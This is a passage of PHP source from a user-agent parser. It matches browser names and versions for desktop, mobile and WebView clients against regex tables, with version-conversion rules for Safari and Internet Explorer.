            $browser_list[] = array('Lunascape', 'Lunascape', '/Lunascape(?: |\/)?([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Seznam Browser', 'Seznam.cz/|SznProhlizec/', '/(Seznam\.cz|SznProhlizec)\/([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('Sleipnir', 'Sleipnir/', '/Sleipnir\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Sputnik', 'SputnikBrowser/', '/SputnikBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Oculus Browser', 'OculusBrowser/', '/OculusBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('PaleMoon', 'PaleMoon', '/PaleMoon\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('SalamWeb', 'SalamWeb|Salam Browser', '/SalamWeb\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Swing', 'Swing/|Swing(And)/', '/Swing(?:\(And\))?\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Safe Exam Browser', 'SEB/', '/SEB\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Colibri', 'Colibri/', '/Colibri\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Opera GX', 'OPRGX', '/OPRGX\/([0-9]+)/', '1', '');
            $browser_list[] = array('Xvast', 'Xvast/', '/Xvast\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Atom', 'Atom/', '/Atom\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('NetCast', 'SmartTV/', '/SmartTV\/([0-9]+)/', '1', '');
            $browser_list[] = array('LG Browser', ' LG Browser/', '/\sLG\sBrowser\/([0-9]+)/', '1', '');
            
            foreach($browser_list as $browser_list_va)
            {
                $match = $browser_list_va[1];
                $match_exclude = $browser_list_va[4];
                
                if ($this->match_ua($match) && !$this->match_ua($match_exclude))
                {
                    $this->result_browser_version = 0;
                    $this->result_browser_name = $browser_list_va[0];
                    $matches = $this->match_ua($browser_list_va[2]);
                    $matches_n = intval($browser_list_va[3]);
                    $this->result_browser_version = is_array($matches) ? (float)$matches[$matches_n] : 0;
                    if (!empty($this->result_browser_version))
                    {
                        $browser_need_continue = FALSE;
                        break;
                    }
                }
            }
            
            $browser_list = NULL;
        }
        
        // Gecko engine detection
        
        if ($this->get_mode !== 'device' && $this->result_browser_chromium_version == 0 && $this->match_ua('Gecko/|ArtisBrowser/') && ($this->match_ua('/\srv:[.0-9a-z]+(?:\;\s\w+|)\)\sGecko\/[.0-9]+\s/') || $this->match_ua('QwantMobile/|ArtisBrowser/')))
        {
            $this->result_browser_gecko_version = 0;
            $match = $this->match_ua('/\srv:([0-9]+\.[0-9]+)(?:[.0-9a-z]+)?(?:\;\s\w+|)\)\sGecko\/[.0-9]+\s/');
            
            if (is_array($match))
            {
                if ($match[1]>=5) $match[1] = intval($match[1]);
                else $match[1] = (float)$match[1];
            }
            
            if (!empty($match[1])) $this->result_browser_gecko_version = $match[1];
            else
            {
                $match = $this->match_ua('/\sGecko\/([.0-9]+)\s.*QwantMobile\/[.0-9]+$/');
                if (!empty($match[1])) $this->result_browser_gecko_version = intval($match[1]);
                else
                {
                    $match = $this->match_ua('/\srv:([0-9]+\.[0-9]+)\)\s.*ArtisBrowser\/[.0-9]+$/');
                    if (!empty($match[1])) $this->result_browser_gecko_version = intval($match[1]);
                }
            }
        }
        
        // WebKit engine detection
        
        if ($this->get_mode !== 'device' && $this->result_browser_chromium_version == 0 && $this->result_browser_gecko_version == 0 && $this->matchi_ua('AppleWebKit/'))
        {
            $this->result_browser_webkit_version = 0;
            $match = $this->matchi_ua('/AppleWebKit\/([0-9]+\.[0-9]+)/');
            if (!empty($match[1])) $this->result_browser_webkit_version = (float)$match[1];
        }
        
        /*
        ------------------
         Desktop Browsers
        ------------------
        */
        
        if ($browser_need_continue && $this->result_browser_chrome_original==0 && $this->result_browser_firefox_original==0 && $this->result_mobile == 0)
        {
            // Safari
            
            $browser_list[] = array('Safari', '/AppleWebKit\/[.0-9]+.*Gecko\)\sSafari\/[.0-9A-Za-z]+$/', '/Safari\/(\d+)/', '1', 'Version/');
            $browser_list[] = array('Safari', '/Version\/([0-9]+\.[0-9]+).*Safari/', '/Version\/([0-9]+\.[0-9]+).*Safari/', '1', 'Epiphany|Arora/|Midori|midori|SlimBoat');
            
            // IE
            
            $browser_list[] = array('Internet Explorer', 'MSIE', '/MSIE(?:\s|)([0-9]+)/', '1', 'Opera|IEMobile|Trident/');
            $browser_list[] = array('Internet Explorer', 'Trident/', '/Trident\/([0-9]+)/', '1', 'Opera|IEMobile');
            
            // Chromium based browsers
            
            $browser_list[] = array('Avast Secure Browser', 'Avast/', '/Avast\/([0-9]+)/', '1', '');
            $browser_list[] = array('AVG Secure Browser', 'AVG/', '/AVG\/([0-9]+)/', '1', '');
            $browser_list[] = array('CCleaner Browser', 'CCleaner/', '/CCleaner\/([0-9]+)/', '1', '');
            $browser_list[] = array('Comodo Dragon', 'Dragon/', '/Dragon\/([0-9]+)/', '1', 'IceDragon');
            $browser_list[] = array('Iridium', 'Iridium/', '/Iridium\/.*Safari.*Chrome\/([0-9]+)/', '1', '');
            $browser_list[] = array('MxNitro', 'MxNitro|mxnitro', '/(MxNitro|mxnitro)\/([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('Iron', ' Iron ', '/Chrome\/([0-9]+)/', '1', '');
            $browser_list[] = array('Iron', 'Iron/', '/Iron\/([0-9]+)/', '1', '');
            $browser_list[] = array('Hola Browser', 'Hola/', '/Hola\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Sogou Explorer', '/Chrome.*Safari.*SE\s.*MetaSr/', '/Chrome\/([0-9]+)/', '1', '');
            $browser_list[] = array('360 browser', 'QIHU 360', '/Chrome\/([0-9]+)/', '1', '');
            $browser_list[] = array('Slimjet', 'Slimjet/', '/Slimjet\/([0-9]+)/', '1', '');
            $browser_list[] = array('FreeU', 'FreeU|Freeu', '/(FreeU|Freeu)\/([0-9]+)/', '2', '');
            $browser_list[] = array('Kinza', 'Kinza/', '/Kinza\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Station', 'Station/', '/Station\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Superbird', 'Superbird|SuperBird', '/(Superbird|SuperBird)\/([0-9]+)/', '2', '');
            $browser_list[] = array('Polypane', 'Polypane/', '/Polypane\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('OhHai Browser', 'OhHaiBrowser/', '/OhHaiBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Sizzy', 'Sizzy', '/Sizzy\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('AOL Desktop', 'ADG/', '/ADG\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Elements Browser', 'Elements Browser', '/Elements\sBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('115Browser', '115Browser', '/115Browser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Falkon', 'Falkon/', '/Falkon\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('AOL Shield Pro', 'AOLShield', '/AOLShield\/([0-9]+)/', '1', '');
            $browser_list[] = array('Google Earth', 'Google Earth', '/Google Earth(?:|\sPro)\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Chedot', 'Chedot/', '/Chedot\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('SlimBoat', 'SlimBoat/', '/SlimBoat\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Rambler Browser', 'Nichrome/', '/Chrome\/([0-9]+)/', '1', '');
            $browser_list[] = array('Beaker Browser', 'BeakerBrowser/', '/BeakerBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            
            // Webkit, Gecko and other engine based browsers
            
            $browser_list[] = array('Cyberfox', 'Cyberfox/', '/Cyberfox\/([0-9]+)/', '1', '');
            $browser_list[] = array('SeaMonkey', 'SeaMonkey/', '/SeaMonkey\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('K-Meleon', 'K-Meleon', '/K\-Meleon\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('IceWeasel', '/Ice(W|w)easel\//', '/Ice(W|w)easel\/([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('IceApe', 'Iceape/', '/Iceape\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Comodo Ice Dragon', 'IceDragon/', '/IceDragon\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('QtWeb', 'QtWeb Internet Browser/', '/QtWeb\sInternet\sBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('QtWebEngine', 'QtWebEngine', '/QtWebEngine\/([0-9]+\.[0-9]+)/', '1', 'Konqueror');
            $browser_list[] = array('Qt', 'Qt/', '/Qt\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('WebKitGTK', 'WebKitGTK+/', '/WebKitGTK\+\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Konqueror', 'Konqueror', '/Konqueror\/([0-9]+\.[0-9]+)/', '1', 'QtWebEngine');
            $browser_list[] = array('Konqueror', 'konqueror', '/konqueror\/([0-9]+\.[0-9]+)/', '1', 'QtWebEngine');
            $browser_list[] = array('Konqueror', 'Konqueror', '/\sQtWebEngine\/([0-9]+\.[0-9]+)(|[.0-9]+)\sChrome\/[.0-9]+.*\sSafari\/[.0-9]+.*Konqueror\s/', '1', '');
            $browser_list[] = array('Epiphany', 'Epiphany', '/Epiphany\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('OmniWeb', 'OmniWeb/', '/OmniWeb\//', '1', '');
            $browser_list[] = array('iCab', 'iCab', '/iCab(\s|\/)([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('Camino', 'Camino/', '/Camino\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Midori', 'Midori|midori', '/Midori\/([.0-9]+)/', '1', '');
            $browser_list[] = array('Otter', 'Otter/', '/Otter\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Kazehakase', 'Kazehakase/', '/Kazehakase\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('QupZilla', 'QupZilla/', '/QupZilla\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Waterfox', 'Waterfox/', '/Waterfox\/([0-9]+)/', '1', '');
            $browser_list[] = array('Waterfox', 'Waterfox', '/Firefox\/([0-9]+)/', '1', '');
            $browser_list[] = array('Firefox', 'BonEcho/', '/BonEcho\/([0-9]+)/', '1', '');
            $browser_list[] = array('Basilisk', 'Basilisk/', '/Basilisk\/([0-9]+)/', '1', '');
            $browser_list[] = array('Dooble', 'Dooble/', '/Dooble\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Fluid', 'Fluid/', '/Fluid\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Arora', 'Arora/', '/Arora\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Artis Browser', 'ArtisBrowser/', '/ArtisBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Valve Steam Client', 'Valve Steam Client', '/Valve\sSteam\sClient/', '1', '');
            $browser_list[] = array('Valve Steam Game Overlay', 'Valve Steam GameOverlay', '/Valve\sSteam\sGameOverlay/', '1', '');
            $browser_list[] = array('Rekonq', ' rekonq', '/rekonq\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Odyssey Web Browser', 'Odyssey Web Browser', '/OWB\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Safari SDK', '/^Safari\/[.0-9]+\sCFNetwork\/[.0-9]+\sDarwin\/[.0-9]+/', '/Safari\//', '1', '');
            $browser_list[] = array('Internet TV Browser', 'InettvBrowser/', '/InettvBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            
            foreach($browser_list as $browser_list_va)
            {
                $match = $browser_list_va[1];
                $match_exclude = $browser_list_va[4];
                
                if ($this->match_ua($match) && !$this->match_ua($match_exclude))
                {
                    $this->result_browser_version = 0;
                    $this->result_browser_name = $browser_list_va[0];
                    $matches = $this->match_ua($browser_list_va[2]);
                    $matches_n = intval($browser_list_va[3]);
                    $this->result_browser_version = is_array($matches) ? (float)$matches[$matches_n] : 0;
                    
                    // Safari old version conversion
                    
                    if ($match === '/AppleWebKit\/[.0-9]+.*Gecko\)\sSafari\/[.0-9A-Za-z]+$/')
                    {
                        $ev = intval($this->result_browser_version);
                        if (!empty($ev)) $this->result_browser_version = 1;
                        if ($ev>400) $this->result_browser_version = 2;
                        if ($ev>500) $this->result_browser_version = 3;
                        if ($ev>527) $this->result_browser_version = 4;
                        if ($ev>532) $this->result_browser_version = 5;
                        if ($ev>535) $this->result_browser_version = 6;
                        $this->result_browser_safari_original = 1;
                    }
                    
                    // IE Trident engine version conversion
                    
                    if ($match === 'Trident/')
                    {
                        if ($this->result_browser_version==4) $this->result_browser_version = 8;
                        if ($this->result_browser_version==5) $this->result_browser_version = 9;
                        if ($this->result_browser_version==6) $this->result_browser_version = 10;
                        if ($this->result_browser_version==7) $this->result_browser_version = 11;
                    }
                    
                    if (!empty($this->result_browser_version))
                    {
                        $browser_need_continue = FALSE;
                        break;
                    }
                }
            }
            
            $browser_list = NULL;
        
        // End of desktop browsers detection
        }
        
        /*
        -----------------
         Mobile Browsers
        -----------------
        */
        
        if ($browser_need_continue && $this->result_browser_chrome_original==0 && $this->result_browser_firefox_original==0 && $this->result_mobile == 1)
        {
            // Mobile browsers with detectable versions
            
            $browser_list[] = array('Safari Mobile', '/(iPhone|iphone|iPad|iPod).*AppleWebKit\/.*Version\/[.0-9]+\sMobile\/\w+\sSafari\/[.0-9A-Za-z]+(|\/[0-9]+|\s\(.*\))+$/', '/Version\/([0-9]+\.[0-9]+).+?Mobile\/\w+\s(Safari)/', '1', '');
            $browser_list[] = array('Safari Mobile', '/(Intel\sMac\sOS\sX).*AppleWebKit\/.*Version\/[.0-9]+\s(?:|Mobile\/\w+\s)Safari\/[.0-9A-Za-z]+(|\/[0-9]+|\s\(.*\))+$/', '/Version\/([0-9]+\.[0-9]+).+?(?:|Mobile\/\w+\s)(Safari)/', '1', '');
            $browser_list[] = array('Android Browser', '/Android.*Version\/[.0-9]+\s(?:Mobile\s)?Safari\/[.0-9]+$/', '/Android.*Version\/([0-9]+\.[0-9]+)/', '1', 'Chrome/');
            $browser_list[] = array('Samsung Browser', 'SamsungBrowser', '/SamsungBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Firefox Focus', 'Focus/', '/Focus\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Firefox iOS', 'FxiOS', '/FxiOS\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Opera Mini', 'Opera Mini|OPiOS', '/(Opera Mini|OPiOS)\/([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('Opera Touch', 'OPT/', '/OPT\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Huawei Browser', 'HuaweiBrowser/', '/HuaweiBrowser\/([0-9]+)/', '1', '');
            $browser_list[] = array('DuckDuckGo', 'DuckDuckGo/', '/DuckDuckGo\/([0-9]+)/', '1', '');
            $browser_list[] = array('MIUI Browser', 'MiuiBrowser/', '/MiuiBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Mint Browser', 'Mint Browser/', '/Mint\sBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Google App', '/(iPhone|iphone|iPad|iPod).*\)\sGSA\/([0-9]+)/', '/(iPhone|iphone|iPad|iPod).*\)\sGSA\/([0-9]+)/', '2', '');
            $browser_list[] = array('Google App', '/\sGSA\//', '/\sGSA\/([0-9]+)/', '1', '');
            $browser_list[] = array('Facebook App', 'FBAV/|FBSV/', '/FBAV\/([0-9]+)\./', '1', '');
            $browser_list[] = array('Instagram App', 'Instagram', '/Instagram\s([0-9]+)\./', '1', '');
            $browser_list[] = array('Yandex App', 'YaApp_', '/YaApp_(Android|iOS)\/([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('Yandex App', 'YandexSearch/', '/YandexSearch\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Dolfin', 'Dolfin/', '/Dolfin\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Flipboard App', 'Flipboard/', '/Flipboard\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('FreeU', 'FreeU|Freeu', '/(FreeU|Freeu)\/([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('Iron', 'Iron Safari|MobileIron', '/Chrome\/([0-9]+)/', '1', '');
            $browser_list[] = array('Sogou Mobile Browser', 'SogouMobileBrowser/', '/SogouMobileBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Meizu Browser', 'MZBrowser/', '/MZBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('360 Mobile Browser', '360 Aphone', '/360\sAphone\sBrowser\s\(([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Aloha Browser', 'AlohaBrowser/', '/AlohaBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Ecosia Browser', 'Ecosia', '/Chrome\/([0-9]+)/', '1', '');
            $browser_list[] = array('HeyTap Browser', 'HeyTapBrowser/', '/HeyTapBrowser\/([0-9]+)/', '1', '');
            $browser_list[] = array('Oppo Browser', 'OppoBrowser/', '/OppoBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Silk', 'Silk/', '/Silk\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Surf Browser', 'SurfBrowser/', '/SurfBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Phoenix Browser', 'PHX/', '/PHX\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('CM Mobile', 'ACHEETAHI', '/Chrome\/([0-9]+)/', '1', '');
            $browser_list[] = array('Bing Search App', 'BingWeb/', '/BingWeb\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Firefox Klar', 'Klar/', '/Klar\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Super Fast Browser', 'SFBrowser|tssomas', '/(SFBrowser|tssomas)\/([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('Tenta Browser', 'Tenta/', '/Tenta\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Kiwi Browser', 'Kiwi Chrome/', '/Kiwi\sChrome\/([0-9]+)/', '1', '');
            $browser_list[] = array('JioBrowser', 'JioBrowser/', '/JioBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Qwant Mobile', 'QwantBrowser', '/QwantBrowser\/([0-9]+)/', '1', '');
            $browser_list[] = array('Qwant Mobile', 'QwantMobile', '/QwantMobile\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Cake Browser', '; Cake) ', '/\;\sCake\).*AppleWebKit.*Version\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Baidu Mobile Browser', 'bdbrowser', '/bdbrowser(|_i18n)\/([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('Baidu Mobile Browser', 'baidubrowser', '/baidubrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Baidu Search App', 'baiduboxapp/', '/baiduboxapp\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Baidu Browser for Tablet', 'BaiduHD/', '/BaiduHD\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('NineSky', 'Ninesky-android-mobile/', '/Ninesky\-android\-mobile\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Realme Browser', 'RealmeBrowser/', '/RealmeBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Vivo Browser', 'VivoBrowser/', '/VivoBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Web Explorer', 'Web Explorer/', '/Web\sExplorer\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('NTENT Browser', 'NTENTBrowser/', '/NTENTBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Nox Browser', 'NoxBrowser/', '/NoxBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Quark Browser', 'Quark/', '/Quark\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Yaani Browser', 'YaaniBrowser', '/YaaniBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Tizen Browser', '/Tizen(?: )?(?:\/)?[.0-9]+.*AppleWebKit\/.*(Version|SLP Browser|Tizen Browser|TizenBrowser)\/([0-9]+\.[0-9]+)/', '/Tizen(?: )?(?:\/)?[.0-9]+.*AppleWebKit\/.*(Version|SLP Browser|Tizen Browser|TizenBrowser)\/([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('Internet Explorer Mobile', 'IEMobile', '/IEMobile(?: )?(?:\/)?([0-9]+)/', '1', '');
            $browser_list[] = array('Internet Explorer Mobile', 'Trident/', '/Trident\/[.0-9].*Touch;*.rv\:([0-9]+)/', '1', '');
            $browser_list[] = array('ZetaKey', 'Zetakey/', '/Zetakey\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Nokia Browser', 'NokiaBrowser/', '/NokiaBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('NetFront', 'NetFront/', '/NetFront\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('BlackBerry Browser', '/(BB10;|BlackBerry|PlayBook).*AppleWebKit.*Version\/([0-9]+\.[0-9]+)/', '/(BB10;|BlackBerry|PlayBook).*AppleWebKit.*Version\/([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('ONE Browser', 'OneBrowser/', '/OneBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Web Explorer', 'webexplorer/', '/webexplorer\/([0-9]+)/', '1', '');
            $browser_list[] = array('Start Internet Browser', 'Start/', '/Start\/([0-9]+)/', '1', '');
            $browser_list[] = array('EUI Browser', 'EUI Browser', '/EUI\sBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('iCab Mobile', 'iCabMobile', '/iCabMobile(\s|\/)([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('Mercury', 'Mercury/', '/Mercury\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Samsung Browser', '; SAMSUNG S|; SAMSUNG G', '/\;\sSAMSUNG\s(S|G)+.*\sBuild\/.*\)\sAppleWebKit\/.*Version\/([0-9]+\.[0-9]+)\sChrome\/[.0-9]+.*\sSafari\/[.0-9]+$/', '2', 'SamsungBrowser');
            $browser_list[] = array('Documents App', 'RDDocuments/', '/RDDocuments\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Opera Coast', 'Coast/', '/Coast\/([0-9]+)/', '1', '');
            $browser_list[] = array('Android Browser', '/Android.*Version\/[.0-9]+\s(?:Mobile\s)?Safari(|\/[.0-9]+\sCyanogenMod.*)+$/', '/Android.*Version\/([0-9]+\.[0-9]+)/', '1', 'Chrome/');
            $browser_list[] = array('Playstation Browser', '/(PlayStation\s|PLAYSTATION\s)/', '/(PlayStation\s|PLAYSTATION\s)/', '1', '');
            
            foreach($browser_list as $browser_list_va)
            {
                $match = $browser_list_va[1];
                $match_exclude = $browser_list_va[4];
                
                // Some OS specified browsers matching optimization
                
                $current_browser_continue = TRUE;
                if ($this->get_mode !== 'browser')
                {
                    $current_browser = $browser_list_va[0];
                    
                    // Some iOS specified browsers matching optimization
                    
                    if ($current_browser === 'Safari Mobile' || $current_browser === 'Firefox iOS')
                    {
                        if ($this->result_os_name !== 'iOS') $current_browser_continue = FALSE;
                    }
                    
                    // Some Android specified browsers matching optimization
                    
                    if ($current_browser === 'Android Browser' || $current_browser === 'Samsung Browser' || $current_browser === 'Huawei Browser' || $current_browser === 'MIUI Browser')
                    {
                        if ($this->result_os_name !== 'Android') $current_browser_continue = FALSE;
                    }
                    
                    // WP specified browser matching optimization
                    
                    if ($current_browser === 'Internet Explorer Mobile' && $this->result_os_name !== 'Windows Phone' && $this->result_os_name !== 'Windows Mobile') $current_browser_continue = FALSE;
                    
                    // Tizen specified browser matching optimization
                    
                    if ($current_browser === 'Tizen Browser' && $this->result_os_name !== 'Tizen') $current_browser_continue = FALSE;
                    
                    // BlackBerry specified browser matching optimization
                    
                    if ($current_browser === 'BlackBerry Browser' && $this->result_os_name !== 'BlackBerry') $current_browser_continue = FALSE;
                    
                    // Google App matching optimization
                    
                    if ($current_browser === 'Google App' && !$this->match_ua(' GSA/')) $current_browser_continue = FALSE;
                }
                
                if ($current_browser_continue == TRUE && $this->match_ua($match) && !$this->match_ua($match_exclude))
                {
                    $this->result_browser_version = 0;
                    $this->result_browser_name = $browser_list_va[0];
                    $matches = $this->match_ua($browser_list_va[2]);
                    $matches_n = intval($browser_list_va[3]);
                    $this->result_browser_version = is_array($matches) ? (float)$matches[$matches_n] : 0;
                    
                    if (!empty($this->result_browser_version))
                    {
                        $browser_need_continue = FALSE;
                        break;
                    }
                }
            }
            
            $browser_list = NULL;
        
        // End of mobile browsers detection
        }
        
        // Other browsers without version specified
        
        if ($browser_need_continue)
        {
            $other_bsr = array();
            
            $other_bsr[] = array('Maple'=>'Maple');
            $other_bsr[] = array('Espial'=>'Espial');
            
            foreach ($other_bsr as $other_bsr_va)
            {
                $k = key($other_bsr_va);
                $v = $other_bsr_va[$k];
                
                if ($this->match_ua($v))
                {
                    $this->result_browser_version = 0;
                    $this->result_browser_name = $k;
                    $this->result_browser_title = $k;
                    break;
                }
            }
            $other_bsr = NULL;
        }
        
        // MacOS and iOS Apps
        
        if ($this->result_browser_name === 'unknown' && $this->match_ua('CFNetwork/') && $this->match_ua('Darwin/') && !$this->match_ua('Safari/'))
        {
            $matches = $this->match_ua('/^(.*)(\/[.0-9]+|\s\(unknown\sversion\))\sCFNetwork\/[.0-9]+\sDarwin\/[.0-9]+/');
            if (!empty($matches[1]))
            {
                $matches[1] = str_replace('%20', ' ', $matches[1]);
                $matches[1] = str_replace('com.apple.Safari.', '', $matches[1]);
                $matches[1] = str_replace('com.apple.WebKit.', '', $matches[1]);
                $matches[1] = str_replace('com.apple.Notes.', '', $matches[1]);
                $matches[1] = str_replace('com.apple.mobilenotes.', '', $matches[1]);
                $this->result_browser_name = $matches[1].' App';
                $darwin_app = TRUE;
            }
        }
        
        /*
        -------------------
         WebView detection
        -------------------
        */
        
        if ($this->result_mobile == 1)
        {
            // Android WebView
            
            if ($this->result_os_name === 'Android')
            {
                if ($this->match_ua('; wv|;FB|FB_IAB|OKApp')) $this->result_browser_android_webview = 1;
                if ($this->result_browser_chrome_original == 0 && $this->result_browser_chromium_version != 0 && $this->match_ua('/like\sGecko\)\sVersion\/[.0-9]+\sChrome\/[.0-9]+\s/')) $this->result_browser_android_webview = 1;
            }
            
            // Safari WebView
            
            if ($this->result_ios)
            {
                $safari_webview = FALSE;
                
                if ($this->result_browser_name === 'unknown' && !$this->match_ua('Safari|iCabMobile') && $this->match_ua('/\s\((iPhone|iphone|iPad|iPod);.*\)\sAppleWebKit\/[.0-9]+\s\(KHTML\,\slike Gecko\)\sMobile\//')) $safari_webview = TRUE;
                if ($this->result_browser_name === 'unknown' && $this->match_ua('MobileSafari/') && $this->match_ua('CFNetwork/')) $safari_webview = TRUE;
                
                if ($safari_webview)
                {
                    $this->result_browser_ios_webview = 1;
                    $this->result_browser_version = 0;
                    $this->result_browser_name = 'Mobile Safari WebView';
                }
            }
        }
        
        /*
        -------------------------
         Detect Safari original
        -------------------------
        */
        
        if ($this->result_browser_name === 'Safari' || $this->result_browser_name === 'Safari Mobile')
        {
            if ($this->match_ua('/AppleWebKit\/[.0-9]+.*Gecko\)\sVersion\/[.0-9].*Safari\/[.0-9A-Za-z]+$/')) $this->result_browser_safari_original = 1;
        }
        
        // Check and correct browser version anomaly
        
        if (intval($this->result_browser_version)>110 && !$this->match_ua('FBAV/|FBSV/|GSA/|Instagram')) $this->result_browser_version = 0;
        
        // Set Browser title
        
        if (!empty($this->result_browser_version)) $this->result_browser_title = $this->result_browser_name.' '.$this->result_browser_version;
        else
        {
            $this->result_browser_title = $this->result_browser_name.' (unknown version)';
            
            $browsers_without_versions = array();
            $browsers_without_versions[] = 'Mobile Safari WebView';
            $browsers_without_versions[] = 'Safari SDK';
            $browsers_without_versions[] = 'Playstation Browser';
            $browsers_without_versions[] = 'OmniWeb';
            $browsers_without_versions[] = 'Valve Steam Client';
            $browsers_without_versions[] = 'Valve Steam Game Overlay';
            $browsers_without_versions[] = 'Maple';
            $browsers_without_versions[] = 'Espial';
            
            if (in_array($this->result_browser_name, $browsers_without_versions) || isset($darwin_app))
            {
                $this->result_browser_title = $this->result_browser_name;
            }
            
            $browsers_without_versions = NULL;
        }
        
        if (strpos($this->result_browser_name, 'unknown') !== FALSE) $this->result_browser_title = 'unknown';
        if ($this->result_browser_version == NULL) $this->result_browser_version = 0;
        
        if ($this->get_mode === 'browser') return NULL;
        
        /*
        ---------------------
         Detect device types
        ---------------------
